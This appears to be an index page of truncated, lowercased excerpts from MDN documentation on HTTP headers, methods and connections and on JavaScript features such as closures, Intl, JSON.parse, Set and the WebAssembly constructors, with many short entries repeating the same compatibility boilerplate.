old system, which doesn't support a persistent connection, there is no compelling reason to use this model. persistent connections short-lived connections have two major hitches: the time taken to establish a new connection is significant, and performance of the underlying tcp connection gets better only when this connection has been in use for some time (warm connection). to ease these problems, the concept of a persistent connection has been designed, even prior to http/1.1. alternatively this may be called a keep-alive connection. a persistent connection is one which remains open for a period of time, and can be reused for several requests, saving the need for a new tcp handshake, and utilizing tcp's performance enhancing capabilities. this connection will not stay open forever: idle...
... bandwidth limitations, this can result in significant delay before the next request is seen by the server. pipelining is the process to send successive requests, over the same persistent connection, without waiting for the answer. this avoids latency of the connection. theoretically, performance could also be improved if two http requests were to be packed into the same tcp message. the typical mss (maximum segment size), is big enough to contain several simple requests, although the demand in size of http requests continues to grow. not all types of http requests can be pipelined: only idempotent methods, that is get, head, put and delete, can be replayed safely: should a failure happen, the pipeline content can simply be repeated. today, every http/1.1-compliant proxy and server should...
Content negotiation - HTTP
rns a specific representation to the client. the overall resource, as well as each of the representations, have a specific url. how a specific representation is chosen when the resource is called is determined by content negotiation and there are several ways of negotiating between the client and the server. the determination of the best suited representation is made through one of two mechanisms: specific http headers by the client (server-driven negotiation or proactive negotiation), which is the standard way of negotiating a specific kind of resource. the 300 (multiple choices) or 406 (not acceptable) http response codes by the server (agent-driven negotiation or reactive negotiation), that are used as fallback mechanisms. over the years, other content negotiation proposals, like...
...nfortunately, the http standard does not specify the format of the page allowing to choose between the available resource, which prevents to easily automatize the process. besides falling back to the server-driven negotiation, this method is almost always used in conjunction with scripting, especially with javascript redirection: after having checked for the negotiation criteria, the script performs the redirection. a second problem is that one more request is needed in order to fetch the real resource, slowing the availability of the resource to the user. ...
Feature Policy - HTTP
avior of policy controlled features varies and depends on several factors. the general principle is that there should be an intuitive or non-breaking way for web developers to detect or handle the case when the feature is disabled. newly introduced features may have an explicit api to signal the state. existing features that later integrate with feature policy will typically use existing mechanisms. some approaches include: return "permission denied" for javascript apis that require user permission grants. return false or error from an existing javascript api that provides access to feature. change the default values or options that control the feature behavior. the current set of policy-controlled features fall into two broad categories: enforcing best practices for good user exp...
...provides functionality and apis that may have privacy or security risks if abused. in some cases, you may wish to strictly limit how such functionality is used on a website. there are policy-controlled features to allow functionality to be enabled/disabled for specific origins or frames within a website. where available, the feature integrates with the permissions api, or feature-specific mechanisms to check if the feature is available. the features include (see features list): accelerometer ambient light sensor autoplay camera encrypted media fullscreen geolocation gyroscope magnetometer microphone midi paymentrequest picture-in-picture usb vr / xr examples using feature policy see feature policy demos for example usage of many policies. specifications sp...
Content-Disposition - HTTP
der that can be used on the subpart of a multipart body to give information about the field it applies to. the subpart is delimited by the boundary defined in the content-type header. used on the body itself, content-disposition has no effect. the content-disposition header is defined in the larger context of mime messages for e-mail, but only a subset of the possible parameters apply to http forms and post requests. only the value form-data, as well as the optional directive name and filename, can be used in the http context. header type response header (for the main body) general header (for a subpart of a multipart body) forbidden header name no syntax as a response header for the main body the first parameter in the http context is either inline (de...
...use of the content-disposition header: post /test.html http/1.1 host: example.org content-type: multipart/form-data;boundary="boundary" --boundary content-disposition: form-data; name="field1" value1 --boundary content-disposition: form-data; name="field2"; filename="example.txt" value2 --boundary-- specifications specification title rfc 7578 returning values from forms: multipart/form-data rfc 6266 use of the content-disposition header field in the hypertext transfer protocol (http) rfc 2183 communicating presentation information in internet messages: the content-disposition header field ...
Digest - HTTP
Web › HTTP › Headers › Digest
the selected representation depends on the content-type and content-encoding header values: so a single resource may have multiple different digest values. the digest is calculated over the entire representation. the representation itself may be: fully contained in the response message body not at all contained in the message body (for example, in a response to a head request) partially contained in the message body (for example, in a response to a range request). ...
...e, in a response to a head request) partially contained in the message body (for example, in a response to a range request). header type response header forbidden header name no syntax digest: <digest-algorithm>=<digest-value> digest: <digest-algorithm>=<digest-value>,<digest-algorithm>=<digest-value> directives <digest-algorithm> supported digest algorithms are defined in rfc 3230 and rfc 5843, and include sha-256 and sha-512. some of the supported algorithms, including unixsum and md5 are subject to collisions and are thus not suitable for applications in which collision-resistance is important. <digest-value> the result of applying the digest algorithm to the resource representation and encoding the result. the choice of digest algorithm also de...
OPTIONS - HTTP
Web › HTTP › Methods › OPTIONS
the http options method requests permitted communication options for a given url or server. a client can specify a url with this method, or an asterisk (*) to refer to the entire server. ...
...in this example, the server response says that: access-control-allow-origin the https://foo.example origin is permitted to request the bar.example/resources/post-here/ url via the following: access-control-allow-methods post, get, and options are permitted methods for the url. (this header is similar to the allow response header, but used only for cors.) access-control-allow-headers...
TRACE - HTTP
Web › HTTP › Methods › TRACE
the http trace method performs a message loop-back test along the path to the target resource, providing a useful debugging mechanism. the final recipient of the request should reflect the message received, excluding some fields described below, back to the client as the message body of a 200 (ok) response with a content-type of message/http. the final recipient is either the origin server or the first server to receive a max-forwards value of 0 in the request. ...
...w, back to the client as the message body of a 200 (ok) response with a content-type of message/http. ...
Redirections in HTTP - HTTP
in aliasing ideally, there is one location, and therefore one url, for each resource. but there are reasons for alternative names for a resource: expanding the reach of your site a common case is when a site resides at www.example.com, but accessing it from example.com should also work. redirections for example.com to www.example.com are thus set up. you might also redirect from common synonyms or frequent typos of your domains. moving to a new domain for example, your company was renamed, but you want existing links or bookmarks to still find you under the new name. forcing https requests to the http:// version of your site will redirect to the https:// version of your site. keeping links alive when you restructure web sites, urls change. even if you update your site's links to ...
...n. if the reload button is pressed, only that page is redisplayed, without replaying the unsafe requests. temporary responses to long requests some requests may need more time on the server, like delete requests that are scheduled for later processing. in this case, the response is a 303 (see other) redirect that links to a page indicating that the action has been scheduled, and eventually informs about its progress, or allows to cancel it. configuring redirects in common servers apache redirects can be set either in the server config file or in the .htaccess of each directory. the mod_alias module has redirect and redirectmatch directives that set up 302 redirects by default: <virtualhost *:443> servername example.com redirect / https://www.example.com </virtualhost> the url http...
Closures - JavaScript
es, each closure had its own lexical environment. here though, there is a single lexical environment that is shared by the three functions: counter.increment, counter.decrement, and counter.value. the shared lexical environment is created in the body of an anonymous function, which is executed as soon as it has been defined (also known as an iife). the lexical environment contains two private items: a variable called privatecounter, and a function called changeby. you can't access either of these private members from outside the anonymous function. instead, you can access them using the three public functions that are returned from the anonymous wrapper. those three public functions are closures that share the same lexical environment. thanks to javascript's lexical scoping, they each have...
... for instance, when creating a new object/class, methods should normally be associated to the object's prototype rather than defined into the object constructor. the reason is that whenever the constructor is called, the methods would get reassigned (that is, for every object creation). consider the following case: function myobject(name, message) { ...
Concurrency model and the event loop - JavaScript
essed, because the delay is the minimum time required for the runtime to process the request (not a guaranteed time). basically, the settimeout needs to wait for all the code for queued messages to complete even though you specified a particular time limit for your settimeout. ...
...de for queued messages to complete even though you specified a particular time limit for your settimeout. (function() { console.log('this is the start'); settimeout(function cb() { console.log('callback 1: this is a msg from call back'); }); // has a default time value of 0 console.log('this is just a message'); settimeout(function cb1() { console.log('callback 2: this is a msg from call back'); }, 0); console.log('this is the end'); })(); // "this is the start" // "this is just a message" // "this is the end" // "callback 1: this is a msg from call back" // "callback 2: this is a msg from call back" several runtimes communicating together a web worker or a cross-origin iframe has its own stack, heap, and message queue. two distinct runtimes can only communic...
Introduction - JavaScript
and you do not have to implement interfaces. variables, parameters, and function return types are not explicitly typed. java is a class-based programming language designed for fast execution and type safety. type safety means, for instance, that you can't cast a java integer into an object reference or access private memory by corrupting java bytecodes. java's class-based model means that programs consist exclusively of classes and their methods. java's class inheritance and strong typing generally require tightly coupled object hierarchies. these requirements make java programming more complex than javascript programming. in contrast, javascript descends in spirit from a line of smaller, dynamically typed languages such as hypertalk and dbase. these scripting languages offer programming ...
...ly typed). cannot automatically write to hard disk. can automatically write to hard disk. for more information on the differences between javascript and java, see the chapter details of the object model. javascript and the ecmascript specification javascript is standardized at ecma international — the european association for standardizing information and communication systems (ecma was formerly an acronym for the european computer manufacturers association) to deliver a standardized, international programming language based on javascript. this standardized version of javascript, called ecmascript, behaves the same way in all applications that support the standard. companies can use the open standard language to develop their implementation of javascript. the ecmascrip...
Loops and iteration - JavaScript
eps to the east" could be expressed this way as a loop: for (let step = 0; step < 5; step++) { // runs 5 times, with values of step 0 through 4. console.log('walking east one step'); } there are many different kinds of loops, but they all essentially do the same thing: they repeat an action some number of times. (note that it's possible that number could be zero!) the various loop mechanisms offer different ways to determine the start and end points of the loop. there are various situations that are more easily served by one type of loop over the others. the statements for loops provided in javascript are: for statement do...while statement while statement labeled statement break statement continue statement for...in statement for...of statement for statement a for loop...
... incrementexpression is executed. control returns to step 2. example in the example below, the function contains a for statement that counts the number of selected options in a scrolling list (a <select> element that allows multiple selections). the for statement declares the variable i and initializes it to 0. it checks that i is less than the number of options in the <select> element, performs the succeeding if statement, and increments i by after each pass through the loop. <form name="selectform"> <p> <label for="musictypes">choose some music types, then click the button below:</label> <select id="musictypes" name="musictypes" multiple="multiple"> <option selected="selected">r&b</option> <option>jazz</option> <option>blues</option> <option>new age</...
Unicode property escapes - JavaScript
from different sets based on scripts (like macedonian, greek, georgian etc.) or propertyname (like emoji etc) in javascript. check out tc39 proposal on unicode property escapes for more info. examples general categories general categories are used to classify unicode characters and subcategories are available to define a more precise categorization. it is possible to use both short or long forms in unicode property escapes. they can be used to match letters, numbers, symbols, punctuations, spaces, etc. for a more exhaustive list of general categories, please refer to the unicode specification. // finding all the letters of a text let story = "it’s the cheshire cat: now i shall have somebody to talk to."; // most explicit form story.match(/\p{general_category=letter}/gu); // it is n...
...pt "٢".match(/\p{script=thaana}/u); // null as thaana is not the predominant script super() "٢".match(/\p{script_extensions=thaana}/u); // ["٢", index: 0, input: "٢", groups: undefined] unicode property escapes vs. character classes with javascript regular expressions, it is also possible to use character classes and especially \w or \d to match letters or digits. however, such forms only match characters from the latin script (in other words, a to z and a to z for \w and 0 to 9 for \d). as shown in this example, it might be a bit clumsy to work with non latin texts. unicode property escapes categories encompass much more characters and \p{letter} or \p{number} will work for any script. // trying to use ranges to avoid \w limitations: const nonenglishtext = "Приключ...
Array.prototype.reduce() - JavaScript
let myarray = ['a', 'b', 'a', 'b', 'c', 'e', 'e', 'c', 'd', 'd', 'd', 'd'] let myorderedarray = myarray.reduce(function (accumulator, currentvalue) { if (accumulator.indexof(currentvalue...
.....currentvalue.books] }, ['alphabet']) // allbooks = [ // 'alphabet', 'bible', 'harry potter', 'war and peace', // 'romeo and juliet', 'the lord of the rings', // 'the shining' // ] remove duplicate items in an array note: if you are using an environment compatible with set and array.from(), you could use let orderedarray = array.from(new set(myarray)) to get an array where duplicate items have been removed. let myarray = ['a', 'b', 'a', 'b', 'c', 'e', 'e', 'c', 'd', 'd', 'd', 'd'] let myorderedarray = myarray.reduce(function (accumulator, currentvalue) { if (accumulator.indexof(currentvalue) === -1) { accumulator.push(currentvalue) } return accumulator }, []) console.log(myorderedarray) replace .filter().map() with .reduce() using array.filter() then array.map() tra...
Array.prototype.flatMap() - JavaScript
ter showcases the use of flatmap. let's generate a list of words from a list of sentences. let arr1 = ["it's sunny in", "", "california"]; arr1.map(x => x.split(" ")); // [["it's","sunny","in"],[""],["california"]] arr1.flatmap(x => x.split(" ")); // ["it's","sunny","in", "", "california"] notice, the output list length can be different from the input list length. ...
...m a list of sentences. let arr1 = ["it's sunny in", "", "california"]; arr1.map(x => x.split(" ")); // [["it's","sunny","in"],[""],["california"]] arr1.flatmap(x => x.split(" ")); // ["it's","sunny","in", "", "california"] notice, the output list length can be different from the input list length. for adding and removing items during a map() flatmap can be used as a way to add and remove items (modify the number of items) during a map. in other words, it allows you to map many items to many items (by handling each input item separately), rather than always one-to-one. in this sense, it works like the opposite of filter. simply return a 1-element array to keep the item, a multiple-element array to add items, or a 0-element array to remove the item. // let's say we want to remove all th...
Date.prototype.setSeconds() - JavaScript
the setseconds() method sets the seconds for a specified date according to local time. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. ...
...e example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax dateobj.setseconds(secondsvalue[, msvalue]) versions prior to javascript 1.3 dateobj.setseconds(secondsvalue) parameters secondsvalue an integer between 0 and 59, representing the seconds. msvalue optional. a number between 0 and 999, representing the milliseconds. return value the number of milliseconds between 1 january 1970 00:00:00 utc and the updated date. description if you do not specify the msvalue parameter, the value returned from the getmilliseconds() method is used. if a parameter you specify is outside of the expected range, setseconds() attempts to update the date...
Date.prototype.setUTCHours() - JavaScript
seconds since january 1, 1970 00:00:00 utc until the time represented by the updated date instance. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax dateobj.setutchours(hoursvalue[, minutesvalue[, secondsvalue[, msvalue]]]) parameters hoursvalue an integer between 0 and 23, representing the hour. minutesvalue optional. an integer between 0 and 59, representing the minutes. secondsvalue optional. an integer between 0 and 59, representing the seconds. if you specify the secondsvalue parameter, you must also specify the minutesvalue. msvalue optional. a number between 0 and 999, representing the mil...
...value an integer between 0 and 23, representing the hour. minutesvalue optional. an integer between 0 and 59, representing the minutes. secondsvalue optional. an integer between 0 and 59, representing the seconds. if you specify the secondsvalue parameter, you must also specify the minutesvalue. msvalue optional. a number between 0 and 999, representing the milliseconds. if you specify the msvalue parameter, you must also specify the minutesvalue and secondsvalue. return value the number of milliseconds between january 1, 1970 00:00:00 utc and the updated date. description if you do not specify the minutesvalue, secondsvalue, and msvalue parameters, the values returned from the getutcminutes(), getutcseconds(), and getutcmilliseconds() methods are used. if a parameter you specif...
Error.prototype.stack - JavaScript
number properties for retrieving these from the error thrown (but only the error, and not its trace).) note that this is the format used by firefox. there is no standard formatting. however, safari 6+ and opera 12- use a very similar format. browsers using the v8 javascript engine (such as chrome, opera 15+, android browser) and ie10+, on the other hand, uses a different format (see the archived msdn error.stack docs). argument values in the stack: prior to firefox 14, the function name would be followed by the argument values converted to string in parentheses immediately before the at (@) sign. while an object (or array, etc.) would appear in the converted form "[object object]", and as such could not be evaluated back into the actual objects, scalar values could be retrieved (though it ...
...uments were passed in with values such as "@", "(", ")" (or if in file names), you could not easily rely on these for breaking the line into its component parts. thus, in firefox 14 and later this is less of an issue. different browsers set this value at different times. for example, firefox sets it when creating an error object, while phantomjs sets it only when throwing the error, and archived msdn docs also seem to match the phantomjs implementation. examples using the stack property the following html markup demonstrates the use of stack property. <!doctype html> <meta charset="utf-8"> <title>stack trace example</title> <body> <script> function trace() { try { throw new error('myerror'); } catch(e) { alert(e.stack); } } function b() { trace(); } function a() { b(...
Error - JavaScript
handle customerror class methods, but only when they are declared with object.defineproperty(). otherwise, old versions of babel and other transpilers will not correctly handle the following code without additional configuration. some browsers include the customerror constructor in the stack trace when using es2015 classes. ...
...d versions of babel and other transpilers will not correctly handle the following code without additional configuration. some browsers include the customerror constructor in the stack trace when using es2015 classes. ...
Intl.Locale.prototype.numberingSystem - JavaScript
the intl.locale.prototype.numberingsystem property is an accessor property that returns the numeral system used by the locale. description a numeral system is a system for expressing numbers. the numberingsystem property helps to represent the different numeral systems used by various countries, regions, and cultures around the world. as with most internationalization schemas, the numeral systems that can be represented in a locale object by numberingsystem are standardized by unicode. a table of the standard unicode numeral systems can be seen below. value description adlm adlam digits ahom ahom digits arab arabic-indic digits arabext extended arabic-indic digits armn armenian upper case numerals — algorithmic ...
... identifiers by first adding the -u key. to set the numberingsystem value via the string argument to the locale constructor, first add the -u extension key. next, add the -nu extension key to indicate that you are adding a value for numberingsystem. finally, add the numberingsystem value to the string. let numberingsystemviastr = new intl.locale("fr-latn-fr-u-nu-mong"); console.log(numberingsystemstr.numberingsystem); // prints "mong" setting the numberingsystem value via the configuration object argument the intl.locale constructor has an optional configuration object argument, which can be used to pass extension types. set the numberingsystem property of the configuration object to your desired numberingsystem value and pass it into the constructor. let numberingsystemviaobj= new intl.
Intl.NumberFormat() constructor - JavaScript
"long" (e.g., 16 litres) "short" (e.g., 16 l) "narrow" (e.g., 16l) usegrouping whether to use grouping separators, such as thousands separators or thousand/lakh/crore separators. possible values are true and false; the default is true. the following properties fall into two groups: minimumintegerdigits, minimumfractiondigits, and maximumfractiondigits in one group, minimumsignificantdigits and maximumsignificantdigits in the other. if at least one property from the second group is defined, then the first group is ignored. minimumintegerdigits the minimum number of integer digits to use. possible values are from 1 to 21; the default is 1. minimumfractiondigits the minimum number of fraction digits to use. possible values are from 0 to 20; the default for p...
...s are from 0 to 20; the default for plain number formatting is the larger of minimumfractiondigits and 3; the default for currency formatting is the larger of minimumfractiondigits and the number of minor unit digits provided by the iso 4217 currency code list (2 if the list doesn't provide that information); the default for percent formatting is the larger of minimumfractiondigits and 0. minimumsignificantdigits the minimum number of significant digits to use. possible values are from 1 to 21; the default is 1. maximumsignificantdigits the maximum number of significant digits to use. possible values are from 1 to 21; the default is 21. examples basic usage in basic use without specifying a locale, a formatted string in the default locale and with default options is returned.
Intl - JavaScript
encode information for their own private use, that will be ignored by all intl operations. locale negotiation the list of locales specified by the locales argument, after unicode extensions have been removed from them, is interpreted as a prioritized request from the application. the runtime compares it against the locales it has available and picks the best one available. two matching algorithms exist: the "lookup" matcher follows the lookup algorithm specified in bcp 47; the "best fit" matcher lets the runtime provide a locale that's at least, but possibly more, suited for the request than the result of the lookup algorithm. if the application doesn't provide a locales argument, or the runtime doesn't have a locale that matches the request, then the runtime's default locale is used. the...
...ment must be an object with properties that vary between constructors and functions. if the options argument is not provided or is undefined, default values are used for all properties. one property is supported by all language sensitive constructors and functions: the localematcher property, whose value must be a string "lookup" or "best fit" and which selects one of the locale matching algorithms described above. examples formatting dates and numbers you can use intl to format dates and numbers in a form that's conventional for a specific language and region: const count = 26254.39; const date = new date("2012-05-24"); function log(locale) { console.log( `${new intl.datetimeformat(locale).format(date)} ${new intl.numberformat(locale).format(count)}` ); } log("en-us"); // exp...
JSON.parse() - JavaScript
odeat(0).tostring(16)).slice(-4) ); }); } // in the second stage, we run the text against regular expressions that look // for non-json patterns. we are especially concerned with "()" and "new" // because they can cause invocation, and "=" because it can cause mutation. // but just to be safe, we want to reject all unexpected forms. // we split the second stage into 4 regexp operations in order to work around // crippling inefficiencies in ie's and safari's regexp engines. first we // replace the json backslash pairs with "@" (a non-json character). second, we // replace all simple value tokens with "]" characters. third, we delete all // open brackets that follow a colon or comma or...
... with the object containing the property being processed as this, and with the property name as a string, and the property value as arguments. if the reviver function returns undefined (or returns no value, for example, if execution falls off the end of the function), the property is deleted from the object. otherwise, the property is redefined to be the return value. if the reviver only transforms some values and not others, be certain to return all untransformed values as-is, otherwise, they will be deleted from the resulting object. json.parse('{"p": 5}', (key, value) => typeof value === 'number' ? value * 2 // return value * 2 for numbers : value // return everything else unchanged ); // { p: 10 } json.parse('{"1": 1, "2": 2, "3": {"4": 4, "5": {"6": 6}}}', (key, value)...
Map - JavaScript
a map object returns keys in order of insertion. the keys of an object are not ordered. note: since ecmascript 2015, objects do preserve creation order for string and symbol keys. in javascript engines that comply with the ecmascript 2015 spec, iterating over an object with only string keys will yield the keys in order of insertion. ...
...object are not ordered. note: since ecmascript 2015, objects do preserve creation order for string and symbol keys. in javascript engines that comply with the ecmascript 2015 spec, iterating over an object with only string keys will yield the keys in order of insertion. size the number of items in a map is easily retrieved from its size property. the number of items in an object must be determined manually. iteration a map is an iterable, so it can be directly iterated. iterating over an object requires obtaining its keys in some fashion and iterating over them. performance performs better in scenarios involving frequent additions and removals of key-value pairs. not optimized for frequent additions and removals of...
Math.imul() - JavaScript
ect, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax var product = math.imul(a, b); parameters a first number. b second number. return value the result of the c-like 32-bit multiplication of the given arguments. description math.imul() allows for 32-bit integer multiplication with c-like semantics. this feature is useful for projects like emscripten. because imul() is a static method of math, you always use it as math.imul(), rather than as a method of a math object you created (math is not a constructor). if you use normal javascript floating point numbers in imul, you will experience a degrade in performance. this is because of the costly conversion from a floating point to an integer for multiplication, and then converting the mult...
...ath object you created (math is not a constructor). if you use normal javascript floating point numbers in imul, you will experience a degrade in performance. this is because of the costly conversion from a floating point to an integer for multiplication, and then converting the multiplied integer back into a floating point. the reason imul exists is because it is faster in only one (so far) circumstance: asmjs. asmjs allows for jist-optimizers to more easily implement internal integers in javascript. multiplying two numbers stored internally as integers (which is only possible with asmjs) with imul is the only potential circumstance where math.imul may prove performant in current browsers. polyfill this can be emulated with the following function: if (!math.imul) math.imul = function(a,...
Math - JavaScript
nt. constants are defined with the full precision of real numbers in javascript. note: many math functions have a precision that’s implementation-dependent. this means that different browsers can give a different result. even the same javascript engine on a different os or architecture can give different results! static properties math.e euler's constant and the base of natural logarithms; approximately 2.718. math.ln2 natural logarithm of 2; approximately 0.693. math.ln10 natural logarithm of 10; approximately 2.303. math.log2e base-2 logarithm of e; approximately 1.443. math.log10e base-10 logarithm of e; approximately 0.434. math.pi ratio of the a circle's circumference to its diameter; approximately 3.14159. math.sqrt1_2 square root of ½ (or equivalently, 1/√2);...
...ent of x. math.tanh(x) returns the hyperbolic tangent of x. math.trunc(x) returns the integer portion of x, removing any fractional digits. examples converting between degrees and radians the trigonometric functions sin(), cos(), tan(), asin(), acos(), atan(), and atan2() expect (and return) angles in radians. ...
Object.fromEntries() - JavaScript
the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax object.fromentries(iterable); parameters iterable an iterable such as array or map or other objects implementing the iterable protocol. return value a new object whose properties are given by the entries of the iterable. description the object.fromentries() method takes a list of key-value pairs and returns a new object whose properties are given by those entries. ...
...ns a new object whose properties are given by those entries. the iterable argument is expected to be an object that implements an @@iterator method, that returns an iterator object, that produces a two element array-like object, whose first element is a value that will be used as a property key, and whose second element is the value to associate with that property key. object.fromentries() performs the reverse of object.entries(). examples converting a map to an object with object.fromentries, you can convert from map to object: const map = new map([ ['foo', 'bar'], ['baz', 42] ]); const obj = object.fromentries(map); console.log(obj); // { foo: "bar", baz: 42 } converting an array to an object with object.fromentries, you can convert from array to object: const arr = [ ['0', 'a'], ...
RegExp.prototype.flags - JavaScript
e interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. property attributes of regexp.prototype.flags writable no enumerable no configurable yes description flags in the flags property are sorted alphabetically (from left to right, e.g. ...
...ritable no enumerable no configurable yes description flags in the flags property are sorted alphabetically (from left to right, e.g. "gimsuy"). polyfill if (regexp.prototype.flags === undefined) { object.defineproperty(regexp.prototype, 'flags', { configurable: true, get: function() { return this.tostring().match(/[gimsuy]*$/)[0]; } }); } examples using flags /foo/ig.flags; // "gi" /bar/myu.flags; // "muy" specifications specification ecmascript (ecma-262)the definition of 'regexp.prototype.flags' in that specification. ...
Set - JavaScript
olowercase()) // true myset.has(o) // true myset.size // 5 myset.delete(5) // removes 5 from the set myset.has(5) // false, 5 has been removed myset.size // 4, since we just removed one value console.log(myset) // logs set(4) [ 1, "some text", {…}, {…} ] in firefox // logs set(4) { 1, "some text", {…}, {…} } in chrome iterating sets // iterate over items in set // logs the items in the order: 1, "some text", {"a": 1, "b": 2}, {"a": 1, "b": 2} for (let item of myset) console.log(item) // logs the items in the order: 1, "some text", {"a": 1, "b": 2}, {"a": 1, "b": 2} for (let item of myset.keys()) console.log(item) // logs the items in the order: 1, "some text", {"a": 1, "b": 2}, {"a": 1, "b": 2} for (let item of myset.values()) console.log(item)...
...he items in the order: 1, "some text", {"a": 1, "b": 2}, {"a": 1, "b": 2} for (let item of myset) console.log(item) // logs the items in the order: 1, "some text", {"a": 1, "b": 2}, {"a": 1, "b": 2} for (let item of myset.keys()) console.log(item) // logs the items in the order: 1, "some text", {"a": 1, "b": 2}, {"a": 1, "b": 2} for (let item of myset.values()) console.log(item) // logs the items in the order: 1, "some text", {"a": 1, "b": 2}, {"a": 1, "b": 2} // (key and value are the same here) for (let [key, value] of myset.entries()) console.log(key) // convert set object to an array object, with array.from let myarr = array.from(myset) // [1, "some text", {"a": 1, "b": 2}, {"a": 1, "b": 2}] // the following will also work if run in an html document myset.add(document.body) myset.ha...
String.prototype.indexOf() - JavaScript
description characters in a string are indexed from left to right. the index of the first character is 0, and the index of the last character of a string called stringname is stringname.length - 1. 'blue whale'.indexof('blue') // r...
... 8) // returns 8 however, with any fromindex value equal to or greater than the string's length, the returned value is the string's length: 'hello world'.indexof('', 11) // returns 11 'hello world'.indexof('', 13) // returns 11 'hello world'.indexof('', 22) // returns 11 in the former instance, js seems to find an empty string just after the specified index value. in the latter instance, js seems to be finding an empty string at the end of the searched string. description characters in a string are indexed from left to right. the index of the first character is 0, and the index of the last character of a string called stringname is stringname.length - 1. 'blue whale'.indexof('blue') // returns 0 'blue whale'.indexof('blute') // returns -1 'blue whale'.indexof('whale', 0) // ...
WebAssembly.CompileError() constructor - JavaScript
hat specification. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... ...
WebAssembly.Instance() constructor - JavaScript
hat specification. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... ...
WebAssembly.Instance.prototype.exports - JavaScript
hat specification. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... ...
WebAssembly.LinkError() constructor - JavaScript
hat specification. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... ...
WebAssembly.Memory.prototype.buffer - JavaScript
hat specification. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... ...
WebAssembly.Memory.prototype.grow() - JavaScript
hat specification. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... ...
WebAssembly.Module() constructor - JavaScript
hat specification. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... ...
WebAssembly.Module.exports() - JavaScript
hat specification. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... ...
WebAssembly.Module.imports() - JavaScript
hat specification. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... ...
WebAssembly.RuntimeError() constructor - JavaScript
hat specification. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... ...
WebAssembly.Table() constructor - JavaScript
hat specification. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... ...
WebAssembly.Table.prototype.get() - JavaScript
hat specification. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... ...
WebAssembly.Table.prototype.grow() - JavaScript
hat specification. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... ...
WebAssembly.Table.prototype.length - JavaScript
hat specification. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... ...
WebAssembly.Table.prototype.set() - JavaScript
that specification. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... ...
WebAssembly.compile() - JavaScript
hat specification. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... ...
WebAssembly.validate() - JavaScript
hat specification. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... ...
isNaN() - JavaScript
d to a number. the resulting value is then tested to determine whether it is nan. thus for non-numbers that when coerced to numeric type result in a valid non-nan numeric value (notably the empty string and boolean primitives, which when coerced give numeric values zero or one), the "false" returned value may be unexpected; the empty string, for example, is surely "not a number." the confusion stems from the fact that the term, "not a number", has a specific meaning for numbers represented as ieee-754 floating-point values. the function should be interpreted as answering the question, "is this value, when coerced to a numeric value, an ieee-754 'not a number' value?" ecmascript 2015 contains the number.isnan() function. number.isnan(x) is a reliable way to test whether x is nan or not. even...
...sion return nan. this means that in javascript, isnan(x) == true is equivalent to x - 0 returning nan (though in javascript x - 0 == nan always returns false, so you can't test for it). actually, isnan(x), isnan(x - 0), isnan(number(x)), number.isnan(x - 0), and number.isnan(number(x)) always return the same and in javascript isnan(x) is just the shortest possible form to express each of these terms. you can use this, for example, to test whether an argument to a function is arithmetically processable (usable "like" a number), or if it's not and you have to provide a default value or something else. this way you can have a function that makes use of the full versatility javascript provides by implicitly converting values depending on context. specifications specification ...
Property accessors - JavaScript
d in a method. put another way, this does not necessarily refer to the object containing a method. instead, this is "passed" by the function call. see method binding. examples bracket notation vs. eval javascript novices often make the mistake of using eval() where the bracket notation can be used instead. for example, the following syntax is often seen in many scripts. ...
...on can be used instead. for example, the following syntax is often seen in many scripts. x = eval('document.forms.form_name.elements.' + strformcontrol + '.value') eval() is slow and should be avoided whenever possible. also, strformcontrol would have to hold an identifier, which is not required for names and ids of form controls. it is better to use bracket notation instead: x = document.forms['form_name'].elements[strformcontrol].value specifications specification ecmascript (ecma-262)the definition of 'property accessors' in that specification. ...
typeof - JavaScript
